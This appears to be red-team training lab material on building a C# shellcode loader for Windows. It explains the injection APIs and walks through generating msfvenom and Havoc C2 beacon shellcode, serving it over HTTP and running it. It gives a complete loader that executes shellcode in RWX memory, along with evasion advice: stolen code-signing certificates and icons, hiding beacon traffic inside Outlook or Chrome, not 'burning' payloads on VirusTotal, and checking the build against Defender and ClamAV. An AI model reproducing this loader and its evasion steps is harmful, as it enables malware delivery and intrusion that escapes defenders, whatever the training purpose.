WriteProcessMemory is a core part of the Windows debugging and introspection toolchain. It allows a process with sufficient privileges to write directly into the memory of another process. It is commonly used by debuggers to patch instructions, insert breakpoints, or modify variables at runtime. It also shows up in software updaters, automation tools, and systems management frameworks that need to inject configuration or adjust process behavior without restarting. When used legitimately, it's always in a high-privilege, high-trust context. The caller will have full access and the memory writes are tightly scoped and intentional.

Why It Matters

WriteProcessMemory sits at the heart of countless post-exploitation techniques. It’s a low-noise, high-impact primitive that attackers reach for when they want to manipulate memory across process boundaries. For defenders, it’s a behavioral anchor (something that rarely shows up without intent). Whether you're building detections, reversing implants, or designing evasive payloads, understanding this API is table stakes.

How Attackers Abuse It

  • Classic DLL Injection: Writes the DLL path into remote memory before calling CreateRemoteThread or NtCreateThreadEx to load it via LoadLibrary.
  • Reflective DLL Injection: Drops a custom loader and in-memory PE image into a remote process; bypassing LoadLibrary entirely.
  • Shellcode Injection: Writes raw shellcode into remote memory and executes it with CreateRemoteThread, NtQueueApcThread, or RtlCreateUserThread.
  • Process Hollowing: Hollowed target is unwrapped with WriteProcessMemory to overwrite its image with a malicious payload post-CreateSuspended.
  • Thread Hijacking: Writes shellcode into an existing thread’s memory space, then redirects execution with SetThreadContext or QueueUserAPC.
  • Code Patching/Hooking: Overwrites functions or syscalls in a remote process (like import or export table patching, inline hooks) to alter behavior or evade detection.
  • Implant Configuration Injection: Drops configuration blobs or encrypted payloads directly into an implant’s memory for runtime decryption and execution.
  • Inter-Process Data Staging: Used for staging larger payloads or artifacts across multiple processes, often combined with named pipe or shared memory comms.
  • Memory Tunneling/Stomping: Writes into the memory space of trusted processes (commonly explorer.exe) to hide malicious code execution behind legitimate processes.

In .Net Marshal.Copy can also be used (Marshal.Copy(shellcode, 0, allocatedMemory, shellcode.Length);) - It facilitates copying between managed and unmanaged memory safely, and is essential in scenarios that deal with interop, unsafe code, or manual memory management. Marshal.Copy is

  • Used to copy data between managed and unmanaged memory within the same process.
  • It does not work across process boundaries—it cannot read or write memory from another (remote) process.
  • It does not use WriteProcessMemory or ReadProcessMemory internally.
  • Works well and is straightforward for copying buffers if your process owns the memory.

Marshal.Copy(shellcode, startIndex, allocatedMemory, shellCode.Length);

  • shellcode = array which holds your shellcode.
  • startIndex = 0 (start adress of the array).
  • allocatedMemory = pointer to the memory of the base address allocated by VirtualAlloc.
  • shellCode.Length = number of bytes to copy.

The Marshal.Copy method takes a managed byte array (shellcode), a start index in that array (0 here), a destination unmanaged memory pointer (allocatedMemory), and the number of bytes to copy (shellcode.Length).

  • First step allocate memory with VirtualAlloc:
// allocate memory for shellcode
    UInt32 MEM_COMMIT = 0x1000;
    UInt32 PAGE_EXECUTE_READWRITE = 0x40;
    IntPtr funcAddr = VirtualAlloc(
        IntPtr.Zero, 
        (UInt32)shellCode.Length, 
        MEM_COMMIT, 
        PAGE_EXECUTE_READWRITE);
  • Next step with WriteProcessMemory:
// inject shellcode into allocated memory using WriteProcessMemory
    IntPtr bytesWritten;
    bool result = WriteProcessMemory(
        GetCurrentProcess(), 
        funcAddr, 
        shellCode, 
        (uint)shellCode.Length, 
        out bytesWritten);
  • Alternatively you can use Marshal.Copy:
// inject shellcode into allocated memory using Marshal.Copy
    Marshal.Copy(
        shellcode, 
        0, 
        funcAddr, 
        shellcode.Length);

CreateThread

TLDR: CreateThread creates and starts a new thread in the current process. The thread begins executing at the start of the shellcode stored in the allocated memory.

Screenshot

Executive Summary

CreateThread is a classic for a reason—it’s direct, flexible, and broadly supported, making it a go-to for attackers looking to execute code within the context of the current process. Often paired with VirtualAlloc and WriteProcessMemory for straightforward injection chains, it also appears in stealthier techniques like reflective DLL loading or executing payloads staged in the current process. Its reliability makes it popular across commodity malware, APT toolkits, and red team frameworks. However, defenders have caught on, and its predictability has driven attackers to develop evasive tradecraft: patching the API, using alternatives like NtCreateThread, or avoiding new thread creation entirely. This entry explores how CreateThread works and how attackers adapt it—offering defenders a wider lens to detect what might otherwise go unnoticed.

What is CreateThread?

CreateThread is a Windows API from kernel32.dll that allows a process to create a new thread within its own address space. It’s commonly used to execute code after memory has been allocated and populated, typically via VirtualAlloc and WriteProcessMemory. While it has legitimate uses in applications requiring multi-threading—such as performance optimization or task parallelization—it’s heavily abused in malware and offensive tooling to execute shellcode or load DLLs within the current process. Its presence can signal process injection or dynamic code execution techniques.

Why It Matters

This API is included in the Windows API Abuse Atlas due to its frequent use in process injection, but also because of its versatility in advanced tradecraft. While it’s commonly used to execute shellcode or load DLLs within the current process via VirtualAlloc and WriteProcessMemory, CreateThread also appears in more nuanced techniques—such as triggering reflective DLL loaders directly from memory or executing payloads staged in the current process. Its broad compatibility and reliability make it attractive to both commodity malware and advanced threat actors employing modular or fileless payloads.

How Attackers Abuse It

Beyond standard injection and execution, attackers use CreateThread in subtle ways to evade detection. This includes triggering payloads staged within the current process, allowing malicious code to run under the guise of a trusted application. Some attackers combine CreateThread with thread hijacking, reusing existing threads to minimize the footprint of new thread creation. These variations enhance stealth and complicate detection, making CreateThread a versatile tool in advanced adversary toolkits.

WaitForSingleObject

TLDR: WaitForSingleObject ensures the main program waits until the shellcode thread finishes executing.

Screenshot

Executive Summary

WaitForSingleObject is the enabler of precision in process injection. This Windows API function, often overshadowed by flashier calls like CreateThread or VirtualAlloc, provides attackers with the ability to synchronize and control the execution of malicious code. Whether waiting for a thread to complete, a process to terminate, or a handle to signal, it ensures payloads execute at the right moment, avoiding crashes or premature detection. From coordinating shellcode execution to chaining with stealthy injection techniques, WaitForSingleObject is a staple in malware, APT toolkits, and red team operations. As defenders zero in on more obvious APIs, attackers adapt, patching this call or swapping it for lower-level alternatives like NtWaitForSingleObject. This entry dives into how WaitForSingleObject operates and how adversaries leverage its quiet reliability to stay under the radar.

What is WaitForSingleObject?

WaitForSingleObject is a synchronization API from kernel32.dll that allows a process to wait for a single object—such as a thread, process, or mutex—to reach a signaled state or until a timeout elapses. In legitimate applications, it’s used for thread synchronization, resource coordination, or waiting for process completion. In malicious contexts, it’s a critical component for ensuring injected code executes correctly, often paired with APIs like CreateThread and WriteProcessMemory. By waiting for a thread or process to signal, attackers can orchestrate complex injection chains, ensuring stability and timing precision in their payloads.

Why It Matters

WaitForSingleObject is included in the Windows API Abuse Atlas due to its pivotal role in process injection and execution control. It’s not just about waiting—it’s about precision. Attackers use it to ensure a newly created thread (via CreateThread) completes its malicious task, like executing shellcode or loading a DLL, before proceeding. It’s also key in stealthier techniques, such as waiting for a suspended thread to be hijacked or ensuring a target process is ready before injecting code. Its versatility and low profile make it a favorite for both commodity malware and advanced threat actors, enabling reliable, synchronized execution without drawing attention.

How Attackers Abuse It

Attackers leverage WaitForSingleObject to synchronize and stabilize their injection workflows. After allocating memory with VirtualAlloc and writing a payload with WriteProcessMemory, they might use CreateThread to launch the payload and then call WaitForSingleObject to ensure the thread completes before cleaning up or proceeding to the next stage. In stealthier scenarios, attackers use it to wait for a hijacked thread to execute their code or to confirm a process is in a vulnerable state before injection. By carefully timing their actions, they avoid crashes and reduce detection risks. Some advanced adversaries patch WaitForSingleObject or replace it with NtWaitForSingleObject to evade API monitoring, making it a subtle but critical tool in modern post-exploitation tradecraft.

Sample Behavior

Detecting malicious use of WaitForSingleObject requires focusing on context, not just the API call. Legitimate applications, like task managers or development tools, use it for routine synchronization, often in predictable patterns tied to signed binaries or well-known processes. Malicious use, however, shows up in suspicious scenarios: unsigned executables in temporary folders, unusual process chains, or WaitForSingleObject calls following memory allocation and thread creation in high-value processes like system services or browsers. A key red flag is when it’s used to wait on a newly created thread in a process with no legitimate need for such synchronization. Pairing with thread hijacking or unexpected handle manipulation should raise alarms. As always, context is everything.

Shellcode

[-] What is Position Independent Code (Shellcode)?

Position Independent Code is code that is designed to execute regardless of where it resides in memory. This is in contrast to most programs, which might need to be loaded at a specific address to function correctly. Shellcode is a type of PIC, often written for exploits and payloads in hacking.

TLDR: Basically we're going to allocate memory with VirtualAlloc, copy the shellcode to that memory and then execute it. And we're treating the blob of PIC (shellcode) code as a function we can call, just like any other function in our program.

Screenshot

The term “Shellcode” originally referred to code that, when executed, would spawn a command shell — hence the name. However, today, it generally refers to any payload used for exploitation.

The advantages of a dll are:

  • structured (exported functions, resources, etc...)
  • you are contained by the PE format (sections, imports, etc...), which has advantages and disadvantages
  • when writing code, upon compilation the compiler will take care of a lot of things for you (linking of imports, relocations, etc...)

The disadvantages of PIC are:

  • no imported functions from DLL's (no LoadLibrary/GetProcAddress)
  • harder to write and debug
  • full control over what the code does (good and bad)
  • smaller size (good for exploits)
  • no PE format (harder to analyze for defenders)
  • no static analysis (harder to analyze for defenders)
  • no compiler (you have to write everything yourself, no linking, no relocations, etc...)
    • no structure (you have to define your own structure, if any)

[-] Uses of Shellcode:

Exploitation: The primary use of shellcode is to exploit vulnerabilities in software, where the attacker can inject and execute their code. Payloads: Once a vulnerability is exploited, shellcode can be used to deliver payloads, which can range from spawning a reverse shell to injecting ransomware or establishing persistence. Bypassing Restrictions: Shellcode can be crafted to bypass security mechanisms, making detection and mitigation difficult.

[-] Shellcode vs. Compiled Code vs. Interpreted Code:

Shellcode: As mentioned, shellcode is position-independent, designed to run from any location in memory. It doesn’t rely on external libraries or functions and should be small and efficient to work within the constraints of an exploit.

Compiled Code: This is code written in languages like C or C++ that is then compiled into machine code by a compiler. The result is a binary executable that the system can run. Unlike shellcode, compiled programs often rely on fixed memory addresses and external libraries.

Interpreted Code: This is code written in languages like Python, Ruby, or JavaScript that is executed line-by-line by an interpreter. It’s not converted into machine code; instead, the interpreter reads and executes it directly. This makes it generally slower than compiled code, but it’s more flexible and platform-independent.

[-] Staged vs. Stageless Shellcode:

Staged (dis)advantages (remotely fetch payload/shellcode)

  • Swap out shellcodes easily (not hardcoded in the loader)
  • No malicious code in the loader binary
  • control access on who can download the shellcode (i.e. IP Filtering)
  • control over the format - mimicking benign web downloads (i.e. json, xml)
  • Behavioral detections might trigger on staging activity (network connections, etc...)
  • Extra step that might fail (network issues, firewall, etc...)
  • First perform recon/ anti-sandboxing checks before fetching the payload

Stageless (dis)advantages (all-in-one shellcode)

  • No network connection needed to fetch the payload
  • Faster execution (no need to wait for network)
  • Less chance of network detection (no outbound connections)
  • Simpler deployment (single payload)
  • More entropy due to larger size, big chunk being shellcode which is more random than a PE file
  • Harder to swap out payload (need to recompile the loader)
  • .Net only has 2 sections .text and .rsrc - making it less suspicious compared to a PE with multiple sections (c/c++)
  • Running high risk tasks such as touching lsass can result in your beacon being killed

Compilation

A note on compiling - a few tricks!

Compiling add a lot of information to the PE file that we don't necessarily need nor want.

  • Yara rules for detection assembly code patterns (i.e XOR routines) will not work on statically analyzing the binary as there is no compile assembly code in a .net binary
  • Dynamic (in memory) analysis will also look different as the code is complied JIT and it will look different than a C binary.
  • DEBUG Constant: Unchecked in the Release configuration by default, debug-specific code will be excluded during compilation.
  • TRACE Constant: Allows runtime tracing even in the Release configuration. This is useful for monitoring without the overhead of full debugging. Turn this off, we don't need/want this.
  • ALLOW UNSAFE CODE: Allows advanced low-level operations. This should be used cautiously, as it bypasses some safety checks and can lead to memory corruption if not handled properly. Enabling unsafe code suggests the project may involve low-level operations (more common in C++ or mixed C#/C++ projects), it allows the use of pointers and direct memory manipulation, which is marked with the unsafe keyword.
  • OPTIMIZE CODE : When checked, the compiler applies optimizations to improve the performance of the generated code (e.g., inlining functions, removing unused code). We don't want this, especially not when we add junk code, or unused arrays for evasion/obfuscation reasons.

In Visual Studio 2019 : Go to Project Properties > Build > Advanced (for .NET Framework). Set Debug Information to None (instead of Full or Portable).

Screenshot

DEFAULT SETTINGS: Screenshot

WHAT WE WANT: Screenshot

  • Metadata : When using and modifying open-source .net tooling - don't forget to change the assembly information. Below is a screenshot of Rubeus`s assembly information, the GUID can easily be fingerprinted by a Yara rule for example, also the name "rubeus" is a dead give away.
    • GUID (Assembly Info)
    • Target Framework v4.7.2 or below (No AMSI integration)
    • Icon file (will be embedded in the resource section) - strip an icon from another program (i.e. OneDrive)
    • Code signing : In the last last we'll see how we can strip a code-signing certificate of a validly signed binary and apply it to our shellcode loader - binaries with a code-signing certificate are quite often less inspected by AV/EDR...
    • compilation timestamp

Screenshot

WORD WRAP

When working with large arrays (i.e. shellcode byte arrays), Visual Studio doesn't automatically enable word wrap, making it difficult to read and edit the code. To enable word wrap, go to the "Edit" menu, select "Advanced," and then check "Word Wrap."

Screenshot

Lab - Shellcode

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

OPSEC HINT : Let's apply some basic best practices when we compile the following code

  1. add and icon file to the dotnet app.
  2. add metadata
  3. Remove comments (comments are normally not in the compiled code) - but when using CSharp we might want to check that. (DNspy/dotpeek0)
  4. compile without code optimization
  5. Code-signing

Overview Source Code

SOURCE CODE LOCATION: "C:\THEV\Labs\DialogBox\DialogBox.sln"
                        └── BasicLoader.c   ->   Our `C` code for popping a dialog box.

LAB WORKING DIRECTORY: "C:\THEV\Labs\Lab_BasicLoader"
                            ├── shellcode_formatter_cs.ps1 
                            └── DialogBox.exe 

LAB EXERCISE TASKS

PHASE 1

StepActionDescription
1.Dialogbox.exeSimple C code compiled to an .exe for popping a dialog box.
2.Extracting shellcode with donutCompile our code
3.Extracting shellcode with clematicsCheck if our loader flags any signatures
4.Run codeSee if it actually works
5.Forensic AnalysisDetailed analysis of what this loader does and IOC's

1. DialogBox.exe

We have a simple C program that pops up a message box - just to show code execution:

image

When you run this, you see the following:

image

Nothing fancy here, but again just to show you a simple program that we'll extract shellcode from so we have PIC (position Independent Code), that we can use to inject into memory.


2. Extracting Shellcode with DONUT

image

DESCRIPTION: Donut is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies. A module created by Donut can either be staged from a HTTP server or embedded directly in the loader itself.

https://github.com/TheWover/donut

DONUT OPTIONS:

ParameterOptionDescription
-e1=NoneEntropy. 1=None, 2=Use random names, 3=Random names + symmetric encryption (default)
-a2=amd64Target Architecture. 1=x86, 2=amd64, 3=x86+amd64(default)
-oloader.binOutput file to save loader. Default is "loader.bin"
-f7=C#Output format. 1=Binary (default), 2=Base64, 3=C, 4=Ruby, 5=Python, 6=Powershell, 7=C#, 8=Hex
-z1=NonePack/Compress file. 1=None, 2=aPLib, 3=LZNT1, 4=Xpress
-b1=NoneBypass AMSI/WLDP/ETW : 1=None, 2=Abort on fail, 3=Continue on fail.(default)
-k2=Keep allPreserve PE headers. 1=Overwrite (default), 2=Keep all
  • Open a powershell prompt and use donut to extract shellcode from our DialogBox.exe
cd C:\THEV\Labs\Lab_basicloader
donut.exe -e 1 -a 2 -o donut_shellcode.cs -f 7 -i DialogBox.exe -z 1 -b 1 -k 2

image

Since we'll be writing our shellcode loader in C# (dotnet), we need to make sure our Output format will be a C# array.

Let's have a look at the shellcode donut extracted for us from our simple C program "DialogBox.exe" - open "donut_shellcode.cs" with Visual Studio Code:

image

As we can see the format is in hex format 0x, exactly what we need for our loader. This lab is mainly about generating some shellcode payloads - in the next lab we'll start building our shellcode loader and use all of the shellcode payloads we generated!

Running our shellcode

Previously we put the format of our donut shellcode to C#, so we can use it as an array in our dotnet shellcode loader we'll build in the next lab. But let's see if our shellcode actually works. Let's create a new shellcode but now as a raw binary format (the only difference is that we don't have the 0x in front of each byte).

We need to use donut with the -f 1 (raw shellcode option), and let's save the file as "donut_shellcode.raw".

  • Open a command prompt with Administrator privileges:
cd C:\THEV\Labs\Lab_basicloader
donut.exe -e 1 -a 2 -o donut_shellcode.raw -f 1 -i DialogBox.exe -z 1 -b 1 -k 2

image

NOTE: The size of this raw shellcode is ~ 59 Kb, a bit larger than the original DialogBox.exe - this is because of reasons....

Let's use a simple shellcode launcher to verify our shellcode actually works - SCLauncher. This program is designed to load 32-bit or 64-bit shellcode and allow for execution or debugging. In addition, it can produce executable PE files based on the desired shellcode. This can ease testing as the output binary can be used by standard reverse engineering (Forensics) tools (i.e. IDA Pro, x64dbg and other debuggers).

image

https://github.com/jstrosch/sclauncher

  • Open a command prompt with Administrator privileges:
cd C:\THEV\Labs\Lab_basicloader
sclauncher64.exe -f="donut_shellcode.raw"

image

Great, our shellcode is executing!

3. Extracting Shellcode with Clematis

DESCRIPTION: A powerful tool for converting PE files (EXE/DLL) into position-independent shellcode.

image

https://github.com/CBLabresearch/Clematis

  • Open a command prompt with Administrator privileges:
cd C:\THEV\clematis
python .\clematis.py -f C:\THEV\labs\Lab_BasicLoader\DialogBox.exe -o C:\THEV\labs\Lab_BasicLoader\clematis_shellcode.raw -g false -c false

image

Let's check if our shellcode will run with SCLauncher :

  • From the same command prompt:
cd C:\THEV\Labs\Lab_basicloader
sclauncher64.exe -f="clematis_shellcode.raw"

image

Yes it works as well (of course - we tested this :)) - finally let's convert this raw binary shellcode to a C# array so we can use it in the next lab.

  • Open a powershell prompt with Administrator privileges:
cd C:\THEV\Labs\Lab_BasicLoader\
.\shellcode_formatter_cs.ps1 clematis_shellcode.raw

This will write a new file to our C:\THEV\Labs\Lab_BasicLoader directory formatted in C# called clematis_shellcode.raw.cs. When you open this with Visual Studio CODE or notepad (not visual studio 2019!) we can check the format:

image

NOTE: shellcode_formatter_cs.ps1 is a simple powershell script that reads all bytes from a binary and adds 0x to each byte and then a comma , to put it in a C# array format.

image

When we open both the raw shellcode and the formatted C# shellcode we can see how the script works (we need to install a HEX editior extension in VS Code to view the binary file):

Install Hex editor extension:

image

When you open the raw binary file in vscode select hex editor instead of text (vscode will ask you what to do):

image

image

image

Why are we showing you this? Well, just to show you how you can extract and modify shellcode to the correct format for the loader you are using (C, C++, C#, Rust all have different formats they expect). Not all tools or attack frameworks support this - but it's easy enough when you can at least get a binary shellcode to manipulate that to what you need.

4. Generating Shellcode with MSFVenom (popup)

  • On your Kali machine, open a terminal and generate a dialog box shellcode in CSharp format, (we have installed the metasploit framework on it for purposes of generating some simple payloads):
cd /opt/Havoc/payloads
msfvenom -a x64 --platform windows -p windows/x64/messagebox TEXT="Successful Execution :)" TITLE="CrimsonCORE" -f csharp -o msf_msgbox.cs
cat msf_msgbox.cs

image

  • On your kali open a terminal:
cd /opt/Havoc/payloads
updog2

image

  • Use chrome to surf to http://kali:9090 and right-click on msf_msgbox.cs , select Save link as and save it to C:\THEV\Labs\Lab_basicloader

NOTE: If you want raw shellcode don't use "-b '\x00\x0a\x0d\x20'" as this will apply XOR encoding and add a XOR-decoder stub to your shellcode. This means the shellcode will self modify when executed and this has consequences on the PAGE permissions in memory (RWX required for self modifying code!!!)

How many message box shellcodes do we need? Just 1, really - but the shellcode we extracted with donut and clematics come from a benign C program (our own C Dialogbox), whereas the one from MSFVenom will be (spoiler alert) flagged as malicious by windows defender. We want to do some tests in the next lab to see which parts of our loader might be detected as malicious :)

5. Generating a demon beacon shellcode with Havoc

On your Kali Machine - in the GUI oh Havoc go to Attack and then select Payload - we'll generate a demon but this time not as an executable but as as shellcode. Here you see why it is useful to have some tooling to convert this binary shellcode to a c# array!

Be patient - generating shellcode can take a while depending on the options you select :)

image

Save the payload to /opt/Havoc/payloads as demon.x64.bin and let's host it using Updog2.

image

  • On your kali open a terminal:
cd /opt/Havoc/payloads
updog2

image

Use Chrome, browse to http://kali:9090, right-click on demon.x64.bin , select Save link as and save it to C:\THEV\Labs\Lab_basicloader

image

If your download didn't work, it's probably because chrome blocked it, you need to click on the download icon in the address bar and allow the download, by clicking on keep.

image

NOTE: The size of this shellcode is ~ 104k.

We can use SCLauncher to verify our shellcode actually works :

  • From a command prompt with Administrator privileges:
cd C:\THEV\Labs\Lab_basicloader
sclauncher64.exe -f="demon.x64.bin"

image

You will see a new Havoc beacon connecting back to your Havoc C2 server:

image

Don't forget, in order to use this shellcode in C# we need to convert it to a C# array, we'll use our powershell script again:

On windows open a powershell prompt:

cd C:\THEV\Labs\Lab_basicloader
.\shellcode_formatter_cs.ps1 demon.x64.bin

This will write a new file to our C:\THEV\Labs\Lab_BasicLoader directory formatted in C# called demon.x64.bin.cs

When you open this with Visual Studio CODE or notepad (not visual studio 2019!) we can check the format:

image

Enough, enough!!! That's plenty of shellcode - let's now start building our own basic shellcode loader in C#.

CLEANUP

On your Kali machine:

  • Stop the updog server in the terminal it's running in by pressing CTRL+C.

  • In order to properly clean up your sessions - in the Havoc GUI, right-click on each session, "Mark as dead", then "Exit-> Process" and finally "Remove".

Screenshot Screenshot Screenshot

On your Windows machine:

  • Close all command prompts, and PowerShell windows.

Lab - Basic Loader

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

LABS OVERVIEW

StepActionDescription
1.PHASE 1 (clean dialogbox) payloadCreate our POC shellcode loader
2.PHASE 2 (malicious MSFVenom dialogbox) payloadUse our shellcode loader with a malicious payload
3.PHASE 3 ModularizationEvasion techniques and modularity

When building a shellcode loader, you can use any coding language, c, c++, c#, powershell, rust, golang (evasive by nature as it dynamically resolves functions, so no IAT - but it bloats your code quite a lot. Also strings won't work), nim and so on. In general, detection rates for languages like golang, rust and nim are lower, they are much harder to analyze and reverse than standard c or c# code. In this training we''l be using C# as our language for writing our code. Along the way you'll see the advantages (and challenges) of using C#!

The lower level your coding language is (i.e. C or C++) the more control you have on specific manipulations. That being said rust, nim and golang to compile to assembly/machine code just like C or C++.

The very basic shellcode loader below injects shellcode into its own process - a stealthier way to evade your beacon getting killed is doing remote process injection (injecting the shellcode into a remote process like explorer.exe). Even if AV detects the loader and kills it, your beacon still lives in explorer.exe.

image

EVASION TIP: Injecting shellcode (especially when this shellcode is a reverse shell, beacon, demon ...) into a remote process can hide the network traffic. So if your shellcode performs HTTP(s) or DNS traffic, inject it into a process that also behaves like that (i.e. Onedrive, Outlook, Chrome...) - obviously not in notepad or calc :) - that is if you want to do remote process injection. In this lab we'll inject the shellcode in the process of our own loader.

So to build our own shellcode loader we only need 5 functions, we'll go through each of them in detail later in this lab:

Win32 FunctionAPI LibraryObjective
GetCurrentProcessKernel32.dllGet the PID of our process to get a handle on it
VirtualAllocKernel32.dllAllocate memory in our process and set RWX permissions
WriteProcessMemoryKernel32.dllWrite our shellcode to the allocated memory space
CreateThreadKernel32.dllExecute the injected shellcode
WaitForSingleObjectKernel32.dllWait for our exectution to full finish

This is the logical order in which our code will execute:

image


EXPLAIN P/INVOKE (Platform Invoke)

Our C# code relies on direct Win32 system calls (VirtualAlloc, WriteProcessMemory, CreateThread, etc.) through P/Invoke to execute shellcode. .NET does not expose these low-level operations in its standard libraries. Since we have to interact with native Windows memory management and threading APIs, we're going to have to introduce some unmanaged (native) code in our C# Shellcode loader.

For example you cannot mark memory as executable (RWX) or spawn a thread pointing to arbitrary shellcode (raw native/assembly code) just with managed calls — these capabilities are restricted for security reasons.

The screenshot belows shows how we use P/Invoke to import the VirtualAlloc function from kernel32.dll:

image

And again here is a high level overview of how P/Invoke works in our shellcode loader:

image

  • Definition: P/INVOKE is a .NET mechanism to call unmanaged (native) functions in DLLs, such as Windows API functions (e.g., kernel32.dll for VirtualAlloc).

  • How It Works: Uses [DllImport] attributes to declare managed C# methods that map to native functions, enabling .NET to marshal data between managed and unmanaged code.

  • Usage in Shellcode Loader: Calls Win32 functions directly, e.g., [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(...);, to allocate memory for shellcode.

  • PROS:

    • Simple and well-supported in .NET.
    • Clear documentation and easy to implement.
  • CONS:

    • Easily detected by antivirus/EDR due to static import signatures.
    • Static function imports can be hooked or blocked by security tools.

https://learn.microsoft.com/en-us/dotnet/framework/interop/consuming-unmanaged-dll-functions

Lab - Basic Loader

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

PHASE 1: Using a benign payload - "Our own C DialogBox shellcode"

OVERVIEW SOURCE CODE

SOURCE CODE LOCATION: "C:\THEV\Labs\BasicLoader\BasicLoader.sln"
                        └── BasicLoader.cs   ->   Our main program

LAB WORKING DIRECTORY: "C:\THEV\Labs\Lab_BasicLoader"
                        ├── clematis_shellcode.raw.cs 
                        ├── clematis_shellcode.raw
                        ├── msf_msgbox.cs
                        ├── demon.x64.bin.cs
                        ├── API_mon_filter.xml
                        ├── Get-InjectedThread.ps1
                        └── BasicLoaderVerbose.exe

LAB SOLUTION: "C:\THEV\Labs\Lab_BasicLoader\SOLUTION" -> In case you get stuck,
this has all the proper code, shellcode and binaries.

LAB EXERCISE TASKS

StepActionDescription
1.Turn Defender ONWe want to see if our POC code gets detected
2.Use extracted shellcode (clean dialogbox)Generate our payload, using a clean dialogbox.exe shellcode
3.Build codeCompile our code
4.GoCheck / ClamAV / KleenscanCheck if our loader flags any signatures (detected?)
5.Run codeSee if it actually works
6.Loader code explanationDetailed analysis of how this loader works (API Monitor/SystemInformer)

1. Turn Defender ON

IMPORTANT : Make sure Windows Defender is turned ON!!!

Check if Defender is turned ON by running the checkav.ps1 script:

  • Open a powershell prompt as Administrator:
c:\thev\labs\powershell\av_check.ps1

image

  • If Defender is turned OFF - run the following script to turn it ON:
c:\thev\labs\powershell\av_enable.ps1

image


2. Use extracted shellcode of clean "Dialogbox.exe"

In the previous lab we extracted a shellcode payload from our benign C DialogBox.exe with Clematics - it's located in : "C:\THEV\Labs\Lab_BasicLoader\clematis_shellcode.raw.cs".

  • Open clematis_shellcode.raw.cs with Visual Studio CODE or another text editor. We prefer CODE.

Make sure to copy only the hex values between the curly brackets { }, so just the hex values 0x57, 0x31, 0xc0, 0xb9, ...

image image


3. Basic Loader POC (Template) - building your loader

NOTE: The code below uses the absolute minimum requirements for executing shellcode in-memory of its own process, there is no error checking or printing any output to the screen (when developing it is useful to add error checking and having output printed to the screen) - we don't want any of this in our actual loader that we deliver to the target - we won't see the errors anyway, it just won't run.

LOADER TEMPLATE:

image

using System;
using System.Runtime.InteropServices;

namespace ShellcodePayload
{
    class Payload
    {
        [DllImport("kernel32.dll")]
        private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32.dll")]
        private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

        [DllImport("kernel32.dll")]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        private static extern IntPtr GetCurrentProcess();

        static void Main()
        {
            // (1) Shellcode

            byte[] shellCode = { INSERT YOUR SHELLCODE HERE };

            // (2) allocate memory for shellcode

            UInt32 MEM_COMMIT = 0x1000;
            UInt32 PAGE_EXECUTE_READWRITE = 0x40;
            IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (UInt32)shellCode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

            // (3) inject shellcode into allocated memory using WriteProcessMemory

            IntPtr bytesWritten;
            IntPtr hProcess = GetCurrentProcess();
            bool result = WriteProcessMemory(hProcess, funcAddr, shellCode, (uint)shellCode.Length, out bytesWritten);

            // (4) execute injected shellcode

            UInt32 threadId = 0;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddr, IntPtr.Zero, 0, ref threadId);

            // (5) wait for thread to finish

            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}
  • Open Visual Studio 2019 and open C:\THEV\Labs\BasicLoader\BasicLoader.sln, select BasicLoader.cs on the right side in Solution Explorer, you will see the above code has already been provided - you just need to paste the shellcode in.

image

  • Make sure the Build is set to Release and x64:

image

  • Now just paste the shellcode from clematis_shellcode.raw.cs (Our clean C messagebox shellcode) into your basic loader template where it says "INSERT SHELLCODE HERE". And yes, this is quite some lines of shellcode and Visual Studio might hang for a bit when you paste this in, just wait until its done - we'll deal with a more modular approach later on.

Your code should look like this, pay attention that your shellcode array ("byte[] shellCode = { INSERT YOUR SHELLCODE HERE };" looks like the screenshots below - starts with { and ends with }; - don't forget the semi-colon ; at the end of the line.

image

image

  • Save the file and compile the code.

image

image

The location of your compiled loader will be C:\THEV\Labs\BasicLoader\BasicLoader\bin\x64\Release\BasicLoader.exe.

image

image


4. GOCHECK, CLAMAV AND KLEENSCAN

Let's see what some AV scanners think of our shellcode loader.

We're going to copy C:\THEV\Labs\BasicLoader\BasicLoader\bin\x64\Release\BasicLoader.exe to C:\THEV\Labs\Lab_BasicLoader\BasicLoader.exe and run GoCheck on your loader to see if Defender has any signatures for this custom loader.

  • Open a command prompt as Administrator:
copy C:\THEV\Labs\BasicLoader\BasicLoader\bin\x64\Release\BasicLoader.exe C:\THEV\Labs\Lab_BasicLoader\BasicLoader.exe

IMPORTANT: Run Gocheck64.exe from a command prompt - if you run it with powershell, AMSI might will detect it :). Make sure the directory GoCheck64.exe is in is put in an exclusion folder, as well as the C:\Temp directory (this is where it saves temporary files)> We have done this already for you.

cd C:\THEV\Labs\Lab_BasicLoader\
Gocheck64.exe BasicLoader.exe --defender

image

We also installed ClamAV on your windows machine, let's scan our loader with that as well, from the same command prompt:

freshclam
clamscan.exe BasicLoader.exe --verbose --disable-cache

image

